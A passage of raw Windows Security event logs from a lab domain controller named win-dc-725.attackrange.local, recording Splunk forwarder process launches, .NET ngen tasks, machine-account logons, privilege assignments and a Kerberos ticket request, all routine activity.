Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:00:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254192 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1080 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:00:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254193 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x450 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:00:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254195 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:00:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254194 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:00:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254196 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x130c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:00:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254199 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC5765 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:00:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254198 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC5765 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62414 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:00:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254197 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC5765 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:01:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254200 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x924 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254201 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x880 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254202 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254203 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254205 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11d8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254204 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc9c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254206 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254209 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC823F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62421 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:01:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254208 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC823F - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:01:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=254207 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: WIN-DC-725$@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {C4E16412-F02C-F1C9-A975-5277599BDD16} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254221 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1278 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe" ExecuteQueuedItems /LegacyServiceBehavior - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254220 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb28 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x105c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngentask.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe" RemoveTaskDelayStartTrigger /LegacyServiceBehavior - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:01:30 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254219 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbf0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x10b0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as 